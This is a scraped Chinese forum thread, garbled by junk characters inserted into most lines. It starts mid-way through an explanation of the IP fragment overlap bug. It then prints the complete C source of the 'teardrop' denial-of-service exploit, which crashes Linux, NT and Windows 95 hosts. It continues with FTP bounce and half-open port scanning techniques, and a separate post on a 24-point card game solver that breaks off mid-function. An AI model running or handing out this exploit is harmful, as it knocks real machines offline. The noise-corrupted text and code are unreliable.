# k9 D6 t( b% M5 X0 I6 mi = prev-&gt;end - offset;# ]' F$ j6 c0 p5 B
offset += i; /* ptr into datagram */
5 H3 c$ U) n4 I4 d& v- j8 Xptr += i; /* ptr into fragment data */
8 U) S  l/ K8 @' J% N5 [}</P><P>/* Fill in the structure. */
3 o0 D, p0 u6 K0 S5 [9 {7 {, xfp-&gt;offset = offset;0 U- O! p6 g/ h( o
fp-&gt;end = end;/ D5 b0 W7 h) H# |) @8 d8 C0 `
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
- ^2 n+ u" C+ s) t7 W2 P第一个碎片:mf=1 offset=0 payload=20
4 [1 S! Y0 X+ D% }0 P敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 - n( p8 C1 A: w8 L, T( R7 M
offset=0
/ I8 Y8 w' d, i$ G: W* w这样第二个碎片的 end=9+10=19
6 Y, z/ p6 @$ [$ `! ]" d/ n4 s2 Ooffset=offset+(20-offset)=20
0 }- z) G; ~: j1 e- P" P. pfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>  Y# h& e6 p+ d( m4 N- F& |
/*% P  k4 H, Z+ `! V
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
; @9 s* i1 N5 N*2 a- `+ o; E1 u% @' `, |
* Linux/NT/95 Overlap frag bug exploit
: S1 O+ I6 j4 [$ b  r% U8 J*
6 y* q3 X  t1 T+ c9 s, g0 |* Exploits the overlapping IP fragment bug present in all Linux kernels and! s- D' W( Z5 U0 }+ D
* NT 4.0 / Windows 95 (others?), a6 |/ t7 {" \8 I( D" Q6 G8 u
*7 v8 O8 T2 g  n9 q- o: }0 z7 Z
* Based off of: flip.c by klepto
$ ^, k- G9 ~& H; j/ I* Compiles on: Linux, *BSD*) j/ Q1 u1 M) B* d8 q2 M
*
3 @* S5 x& y% Q6 p4 T# |( f9 r* gcc -O2 teardrop.c -o teardrop% W. i! Y$ P3 x; h$ O$ c% l! z/ l
* OR
& N" m/ g/ A, u. T( a* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING( R6 U. N( b. u# k' _
*/</P><P>#include <STDIO.H>
1 S, H/ a: ^) _) D* C#include <STDLIB.H>/ t0 L* s( `& r! ~2 ]& m
#include <UNISTD.H>
. k9 d, E7 Q6 n) r4 l7 {/ _#include <STRING.H>
1 S& x: o/ t3 J& p; o6 L, P#include <NETDB.H>! O: `' ]3 z2 @$ I8 q# v0 W
#include <NETINET in.h># _3 Q, B1 i( y" ^8 a9 c9 E% }
#include <NETINET udp.h>
2 K. P. I/ c; G- \5 S8 X3 _) @#include <ARPA inet.h>3 _2 x7 W: k" N3 C! A! p
#include <SYS types.h>
+ }) u" g& P7 Q5 m# I+ o' y#include <SYS time.h>8 _, t& C" B3 s) f+ s$ ~; d
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING) X+ F8 ~' ^$ i( W& {- y! s3 }3 I
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */3 k* _+ v" ^' H7 V
#define FIX(n) (n)1 r7 Q% W' D6 Y( i$ b
#else /* OpenBSD 2.1, all Linux */
7 Q4 q+ ?0 S6 K; o* ^. f5 I# k5 C$ `#define FIX(n) htons(n)4 B" [' q  C" ^) R# \4 t
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
) d8 V' @+ z8 \/ W3 H* k$ m$ }# N$ X#define IPH 0x14 /* IP header size */' r( ?% p% T$ |
#define UDPH 0x8 /* UDP header size */
* |( s- k6 e! ^$ F) }, c9 \3 T9 D3 I#define PADDING 0x1c /* datagram frame padding for first packet */
( h9 H# l  m& J8 Z# k+ E#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 *// ?' t2 ^" B& Q$ k  i" m, O4 h6 M
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
) E0 h9 c+ M) N6 x* R* withstand maybe 5 or 10 sometimes... Experiment.0 F4 `; Z+ j" b2 l4 u6 T" k
*/</P><P>void usage(u_char *);' b5 ?; F/ [6 f7 t9 f5 }; t
u_long name_resolve(u_char *);
3 ?. r( }9 B/ m0 K+ `u_short in_cksum(u_short *, int);7 _# `! f' z+ g( k5 K0 o. ^# k
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
9 ]8 B, h5 e" ^& p{
2 P5 n/ B2 K8 i6 t( z. P' t. J$ ]int one = 1,
3 T$ K& r& f+ t7 N; ]' jcount = 0, . Z0 v: z. }* w8 Q! N
i,
. p7 R- l% ~6 L6 |3 ]5 Y- {rip_sock;
, e. l6 I4 s# m1 B4 E9 W; pu_long src_ip = 0, dst_ip = 0;+ r/ t) [: a; G+ N% ]& T
u_short src_prt = 0, dst_prt = 0;
+ {: E' ^! ?7 @9 `struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
; O3 r9 {2 w3 T+ a: P& Cif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
5 s8 J. Y1 y! t3 d% L* D0 }{
. Q& y( a9 G# u/ E3 r  M! m- Bperror("raw socket");" h, F% s: X& I4 y+ M2 x
exit(1);
1 O9 F6 N# Q+ ~- F- i}% [- y$ c* D0 g$ h1 A! f: T
//由系统处理IP校验和。: K6 T  q1 a# H9 D
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))! y6 S5 q/ o) K8 p+ }. s2 f
&lt; 0), g; t3 R/ |, m7 a4 r
{! H# O9 C+ D4 a5 z3 W) J  N  I
perror("IP_HDRINCL");
$ \% T% O' j5 a# h- g; lexit(1);# l0 w3 J1 v1 t* P# l: w3 r9 e
}</P><P>if (argc &lt; 3) usage(argv[0]);4 u  Y8 Y1 N5 ]& @
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))7 T. ]# M9 ]0 x) g; a
{' @. ]/ N2 c6 j% l' c. j8 }
fprintf(stderr, "What the hell kind of IP address is that?\n");$ e" m: ~) a; [8 h9 e
exit(1);0 V1 A* \2 h7 l% H6 Z+ g" k
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
, ^& U2 f1 M6 Q) q{
% O3 U% J! S8 b& c/ u* z1 G2 lswitch (i)& K/ C) m1 ?# e& g* U1 E
{- T) M+ s8 `" {
case 's': /* source port (should be emphemeral) */
/ q1 Z/ @1 U- ~! l# Ksrc_prt = (u_short)atoi(optarg);& A2 F0 A% B3 c! Y  @& t3 w8 [% i- D4 B
break;& p7 b6 H% Z/ P: Q
case 't': /* dest port (DNS, anyone?) */+ q6 n6 T( o/ A  R6 {0 h/ W
dst_prt = (u_short)atoi(optarg);9 Z; K  U/ l" U
break;1 U0 p  f" u" G+ n$ D
case 'n': /* number to send */
! p/ u: n6 |- |count = atoi(optarg);* n4 k/ O4 e# w8 ^
break;& X# x2 U# g; x) Y3 E5 V
default :
+ Y! o; r9 I" z9 z3 l/ I- W  b$ j) Z- H8 kusage(argv[0]);* V, G! [) x) H" ?6 k; t9 ~
break; /* NOTREACHED */
% H5 `) y1 G6 Z}
6 S  Z/ u. `+ z7 n* B/ m}</P><P>srandom((unsigned)(time((time_t)0)));( \! P1 h! F  t7 S
if (!src_prt) src_prt = (random() % 0xffff);% U* j% s8 u7 i! m! O
if (!dst_prt) dst_prt = (random() % 0xffff);
* b  f1 a, ]( ?' h5 l3 s4 t9 }; i; Kif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");4 ~, z. u( c4 Q
addr.s_addr = src_ip;" @, c7 J+ y4 ?- v& r
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);' Y8 B8 F- Q- F( k( U+ W
addr.s_addr = dst_ip;
5 X" i5 N; S# @fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
# g( Y9 C* E0 T( n% \% D; Qfprintf(stderr, " Amt: %5d\n", count);
0 I0 h- ^$ m4 ^5 vfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
+ K' |, Y: `5 x0 M/ A! x$ p0 K1 o{
& s2 _8 G3 Y3 L* O7 g7 msend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);7 B8 H7 C- e' _
fprintf(stderr, "b00m ");
5 X" U* z- h( |8 @usleep(500);
9 i7 Y- E& X% v: v}- C3 b. e& P4 ]/ a" ?- O& Y% Q
fprintf(stderr, "]\n");
4 d* A' o, ^3 M2 p8 [; y) D3 Kreturn (0);
  `' J: O8 g& S8 X& x6 R, L}</P><P>/*2 f) Y* f+ B- a  @- @
* Send two IP fragments with pathological offsets. We use an implementation. L6 `! p- \& S8 x7 A( x" k5 B) u2 l& L
* independent way of assembling network packets that does not rely on any of
% C6 r, q0 o, \5 D, Z! @5 W* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
) M/ X7 R" d  o% K2 Z*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,' e% X" P9 O( {0 v# v
u_short dst_prt)
, n9 W7 I- g# _4 m{
- W$ S- p- J, S" Du_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
8 N  t: I0 M8 q* gu_char byte; /* a byte */$ ^$ J$ H) ]; p4 E2 l5 x
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
3 X) k5 W% N! r' O0 b, M+ s1 osin.sin_port = src_prt;
+ Z9 W. y- I: @4 W* Hsin.sin_addr.s_addr = dst_ip;</P><P>/*
9 E' F  a+ A$ D5 m# o+ V6 A* Grab some memory for our packet, align p_ptr to point at the beginning# u% G, U7 G5 K( Z
* of our packet, and then fill it with zeros.9 h3 F* V5 j# L
*/
. @2 T5 ]' \( Q( v4 `packet = (u_char *)malloc(IPH + UDPH + PADDING);7 }' P! B: `# a* n4 A5 J
p_ptr = packet;
) ?8 ~5 A* N2 ^" `6 O8 ubzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
( j' u# r/ u& p0 bmemcpy(p_ptr, &amp;byte, sizeof(u_char));+ ~! J$ M; x( c6 e, N5 ?# F- O
p_ptr += 2; /* IP TOS (skipped) */
0 n2 |% z  z5 |' B; ~8 o*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */1 U$ F/ G  n+ }4 |6 r
p_ptr += 2;
( n5 v- P0 e# G1 s* X$ I" b*((u_short *)p_ptr) = htons(242); /* IP id */
1 K1 O* v; Q, Gp_ptr += 2;
0 @$ w" U2 O4 f  L# D8 Q3 ^*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
' c. c4 W# h! t* z' d' p" p$ {p_ptr += 2;
; g% H% a1 `( h! f& x* A*((u_short *)p_ptr) = 0x40; /* IP TTL */# q* ?" u1 U% W; Q2 p  ]
byte = IPPROTO_UDP;
) s3 c. A# f" |& d4 j- Y: `3 Cmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
, n- }) N. `# l; c' I$ g, z1 f: O8 s1 Vp_ptr += 4; /* IP checksum filled in by kernel */
! c4 c9 F0 g, l6 r7 {+ d8 m; H/ y: `*((u_long *)p_ptr) = src_ip; /* IP source address */# `* r  @" B  d% A" e  _  f9 t
p_ptr += 4;: i* V7 j" d$ L+ t3 S
*((u_long *)p_ptr) = dst_ip; /* IP destination address */. S6 K. }+ I& ~, B6 E9 T# O
p_ptr += 4;8 [+ N) H9 N9 f0 N4 z
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
% J# q9 M) F4 f+ L; i% G, rp_ptr += 2;) s; e' _3 T7 Q. O
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */5 j) y+ R+ Z: `
p_ptr += 2;
" H3 |, S4 ^6 A2 W3 P3 u  t*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
" C$ J# ]1 c- S8 A' i  g0 v) G# p1 Ksizeof(struct sockaddr)) == -1)
1 c+ U# ^4 o& @% }7 |{6 E& I! s$ L8 m, e- \% o$ D
perror("\nsendto");+ g3 ]! i) i9 W/ T( i
free(packet);# j( G$ q6 G) o+ A) V- R
exit(1);3 L" u' J; s. o7 A+ a7 z
}</P><P>/* We set the fragment offset to be inside of the previous packet's, P! G) r+ R& ^5 b+ Z# `2 L* t+ h
* payload (it overlaps inside the previous packet) but do not include
. k' H  _# e  b3 [' n* enough payload to cover complete the datagram. Just the header will6 o# V1 ~- h" D" v9 i7 r8 Z
* do, but to crash NT/95 machines, a bit larger of packet seems to work  d' M0 O- z9 U+ ]$ B  T  s
* better.
5 }3 m6 o. k- X/ Y*/4 v! W0 m, z  Z# ]
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
/ C# ~4 P: g( X- K& G*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);0 U0 ^* @1 a0 U2 Q$ n0 t$ a
p_ptr += 4; /* IP offset is 6 bytes into the header */
+ ?- l! a3 G! o; \* \- Z*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
3 }$ J* I5 \! s% f$ i. ~( `sizeof(struct sockaddr)) == -1)
" _/ }! @% _: x2 Z- _{
, d  \, L/ {5 a$ b0 j$ `$ a: T: iperror("\nsendto");5 F5 `4 \0 l- o( r8 K
free(packet);& E: Y9 G. N" G0 G) B! ~8 R, z2 x
exit(1);
6 O5 S- c8 E7 c; x; u1 u}
- Z* b1 H3 K1 i) K8 s( Wfree(packet);
$ h: Q& V6 W( i}</P><P>u_long name_resolve(u_char *host_name)- L8 r; L6 s/ A7 U
{
  e9 T" k4 J% E6 W9 p2 t# V$ ostruct in_addr addr;# M6 x0 V( e3 R7 p
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
, y9 s8 R% b: o$ c- i{# N; W* l! j8 s; Z) b; _! O8 b5 h
if (!(host_ent = gethostbyname(host_name))) return (0);
  H" h' I! m" cbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
6 u, z! Q, S# Q0 e+ ?) |}
/ N& p$ y" F4 g2 ^4 Ereturn (addr.s_addr);2 m* e$ Z0 U" j2 T
}</P><P>void usage(u_char *name)6 y- K1 ]# K0 ~" T: z: y
{
. p# q( G; b( P+ ~7 C, `; @fprintf(stderr,
' U; x% H) D! G' F4 t$ J5 D: p0 f! _"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n"," f: J2 b1 x7 ]/ p
name);
3 Q7 r. A, x* _exit(0);% r6 R% [, g7 {, y: \7 K4 U
}</P><P>
/ R! x+ M. Z8 P, `$ P& }! |4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
, w% y& F3 C& q1 @) }(1) Half-open(半打开)
" u& O+ t) o& }- x6 J* t/ D5 O利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
, [: w: g. D0 m3 Z$ E. c; r* ]" D) E如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
- O0 q0 G8 e0 z6 N" c利用了FTP的port命令,例如可以这样作:
( @% i% {6 F- \# a/ m选择一个FTP服务器,连上后令port命令指向目标机,如果返回
7 q# W: \( E$ _5 T9 R' q4 q$ F# U4 z值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
& _( n* z' T. S% @该端口无服务。  w& Q7 |- J7 `* B
telnet 192.168.1.13 219 R* y: T; F7 |, ]2 _
Trying 192.168.1.13...
$ v$ c* _( C/ J) k" r* Q% ^Connected to pp.bricks.org./ O1 j0 G. R; c0 t. F
Escape character is '^]'.
. T: K! u& W4 j3 _220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
$ a: ?3 S# |7 S2 X1 i1 }Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
' {4 f9 ~/ t& }9 F331 Guest login ok, send your complete e-mail address as password.
2 {6 H0 e, l7 qpass aa@aa.aa
7 F, b" |: D+ b230 Guest login ok, access restrictions apply.# v6 N& L3 g! ~+ U4 f3 n
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
* m( c8 r5 i% M) o1 u425 Can't build data connection: Connection refused.5 r/ N) d. H! r* O! z5 t$ N  G5 h( g
//该端口未活动 ; Q) `! ?4 r/ e
150 Opening ASCII mode data connection for file list.- ^3 e: Z* b& M9 D. \& H
226 Transfer complete.( |' {# n. S) _- N' L
//该端口活动中
5 x; L0 F, d0 D5 ]4 j# X6 {但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
+ v) h. Z. O9 e. p& ZSYN|FIN ACK or SYN|ACK* RST5 \! h" A. R$ T9 H2 E: s4 B' i
ACK Nothing RST1 F% G6 f5 O% q" |; Q
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport0 h1 |4 J7 h& U, c/ r! ^. n
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
) a2 }0 K: U  R0 X0 p/ L! l7 a" _若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
" O" u1 F) U& ^定它在向你做portscan。</P><P>notes:1 j2 o2 ?# W5 X# z
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
, u) @- L) F4 ]而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
: g9 D* A/ N; J' X# K都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>$ T& s, ~6 t* ~% x9 z4 C5 u
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
0 B8 L1 v4 B" o. i" T& s* g8 l
! R3 [4 T) A% F! k, O  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
2 ~! }# U. t. `% R, }( n% L首先穷举的可行性问题。我把表达式如下分成三类——
! _3 x; }' j6 A<FONT color=#ff0000>1、 无括号的简单表达式。
, V. u. @/ o% w* p/ x2、 有一个括号的简单表达式。
3 J8 m7 e: q  d# `" H3、 有两个括号的较复4、 杂表达式。
  [7 F, ~" O& @- Z0 Z7 l</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:; r4 S; ?6 f' ?$ c& S
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */& Y  T7 o2 v& ^2 C
/* c[] 存放四张牌的数组 */
  Z) I8 H4 D2 [5 j" T" D7 E9 y6 |/* k[] c[]种四张牌的代号,其中k[I]=I+1。
0 O. E" ~0 i; ]- `用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
3 V1 }5 i2 P) `, A: ~& Z! u& w9 H& F/* kans[] 暂存生成的排列组合 */
6 ^: F+ X5 Q% j/* j 嵌套循环的次数 */
# V* o, p; N  y: E2 h9 b6 ]/ wint fans(c,k,ans,kans,j)6 E+ {: N7 y5 ]5 _. K
int j,k[],c[];char ans[],kans[];
5 I; _' v% Q! z  O* }$ P{ int i,p,q,r,h,flag,s[4],t[4][4];
3 t; @5 p. `. X* D, R' Rfor(p=0,q=0;p&lt;4;p++)
/ u( B/ H$ }$ l9 j{ for(r=0,flag=0;r<J;R++)
0 R4 @$ f' S( }" [ if(k[p]!=kans[r]) flag++;. J0 r) Q. C$ Y5 e% |
if(flag==j) t[j][q++]=k[p];
& U7 V3 \; T. U' e8 ]7 \}
3 P' C1 S$ k  M) V/ |& G0 q7 ffor(s[j]=0;s[j]&lt;4-j;s[j]++)! g. X/ j- e  N2 A9 _8 ^6 j. S/ J
{ kans[j]=t[j][s[j]];- k: o3 A3 |. |/ o, u  x) M
if(j==3) { for(h=0;h&lt;4;h++)& w; P4 N, N' `" s* }
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表2 Z& Q7 g- b5 [6 a  k
达式中的位置 */5 ]( p' G4 @5 \
for(h=0;h&lt;3;h++)+ }3 @0 _: X* l4 |
symbol(ans,h); /* 在表达式中添加运算符号 */' B) I! `8 t! U: m: l/ t% d$ C$ _
}9 p- q7 ?5 h- @9 b9 W9 G7 f
else { j++;( t; P% D; M+ O  x
fans(c,k,ans,kans,j);
* v1 W# g: {, K( fj--;
+ Z+ }7 r$ \. Y- S  `) k% _}
2 t) p" n0 K5 d" t1 R) V! k8 c}
% x8 `$ S0 g- d/ g8 t; D/ t}</FONT>+ S  m7 s$ p  M) F: D
. A! ~' Y; P* i2 ?' f
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
! H! |  h& K7 J2 Q# ]9 L
: r; U: Z- @, s# y+ [<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/! y1 d5 U6 z- r$ j# q$ a
int sans(ans,sy,j,h)
; Y; ~2 m  p1 J8 H  \3 E) ~* v, bchar ans[],sy[];int j,h;: v) U! p6 }& o: Q" x8 D
{ int i,p,k[3],m,n; char ktans[20];
, L5 @* u- Y* o4 Qfor(k[j]=0;k[j]&lt;4;k[j]++)
6 w  e, a4 w3 m% v{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
% ^0 Z8 H( N2 s1 R* [这里的三个运算符号分别存放在1、3、5位*/
, z, j$ B/ \8 v& X! h/ bif(j==2)/ K" b) H% B  W" f, b) l8 R* t7 n
{ ans[5]=sy[k[j]];  O5 d  l3 i% B; x
/* 此处根据不同的表达式形式再进行相应的处理 */
3 L  \" k+ g# w% A5 |}; O- g! h% ~* P* v2 V6 @, r
else { j++; sans(ans,sy,j--,h); }
  g, z6 l9 I4 H9 H( j}
3 s0 g  Y4 E' d}8 u# v+ L3 j4 d  Z) k9 F
, ?6 ~9 m* }) n7 u
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
6 i4 k' }7 y& h+ _# V( @8 ^for(m=0;m&lt;=4;m+=2)
% Z4 x" [9 H, u& e5 A  U- Lfor(n=m+4;n&lt;=8;n+=2)$ }) r% [* z& j$ y; u
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
+ y$ a5 A5 P! d' \0 K1 l+ z% Z4 u: u  f9 w, i
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。& ]: m/ l  W8 d- B( \* k( o
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
! @" Z% Z4 }% o0 H在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
+ u4 F6 }5 \+ s% ]3 Z: U. [% y  t; M2 K4 N/ W% ^4 ^
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
# p) |* o" [! q  C' {- c; j) x4 }* M
# ]( r: g+ V3 H  U  那么作为栈的著名应用,表达式的计算可以有两种方法。
/ m* E. ?  y& q: h' \( }/ D# R- L) J9 o
  <FONT color=#ff0000>第一种方法——</FONT>' a! \$ `3 b7 C. K1 Z9 q5 w. ^
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
0 a' j1 i$ D9 z" Y" }  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
! X2 P1 w! \2 j, M1、 若W为操作数
5 c$ L. U# r8 n3 S- ~* q( e2、 则将W压入操作数栈OVS: J. @0 C; R3 a( ?# f  S# A: |
3、 且继续扫描下一个字符
' J9 w5 u' h" K, V- U" p4、 若W为运算符* z/ L/ P% d) n- `# c4 b
5、 则根据运算符的性质做相应的处理:- h( W- w. ^, w8 e9 d& y5 N  j6 z
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。! H& F! y4 j$ U+ g- X1 p1 A6 R
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
1 [! n- o( D. k8 q(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
* D; q/ S5 {* H7 P+ _! X1 i(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。! }/ O/ N+ Z  T8 q4 M7 ^' U% @6 R2 C
) U0 N4 z# s8 H- o- k
<FONT color=#ff0000>  第二种方法——</FONT>7 Z& J* p2 `- r. j+ Z2 y8 Q+ ]2 L
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。* [+ A! z* L# n5 F2 a1 a0 C- C
# j( f! X& `/ j9 y) N
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
* ~4 _2 I  h7 t* E( H) t& U' p% x0 s
- V) `7 v! k3 |$ g, n5 [   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。+ B/ Q1 h: t+ U- d& |$ x2 T. D7 b
表达式 波兰表达式" G; b& b1 a8 g2 E8 O) U, H
A-B AB-6 G* [& d: T  ^' [/ j" v2 \! B' N6 V" c
(A-B)*C+D AB-C*D+# J5 _2 ?" `+ [9 o7 B( d
A*(B+C/D)-E*F ABCD/+*EF*-
/ Z# c& q2 V1 ~(B+C)/(A-D) BC+AD-/  P, [/ Z/ y) @, g
# i5 {7 ]; s" S5 H! H* @. f4 Z
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
2 {! t0 N1 _/ b6 t; B
: m2 x  d; o0 O8 }# `  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
6 j! L" F, |$ r$ \5 d* A# \% B
- t5 i6 G% R3 _3 r- d5 O  下面给出转换和计算的具体实现程序——+ M7 W6 ~; k5 C. P: P$ t; x: X

' a- i9 ~: k) u/ ?9 |; O<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
2 G- c8 i9 N; t0 C* Mint first(char c)
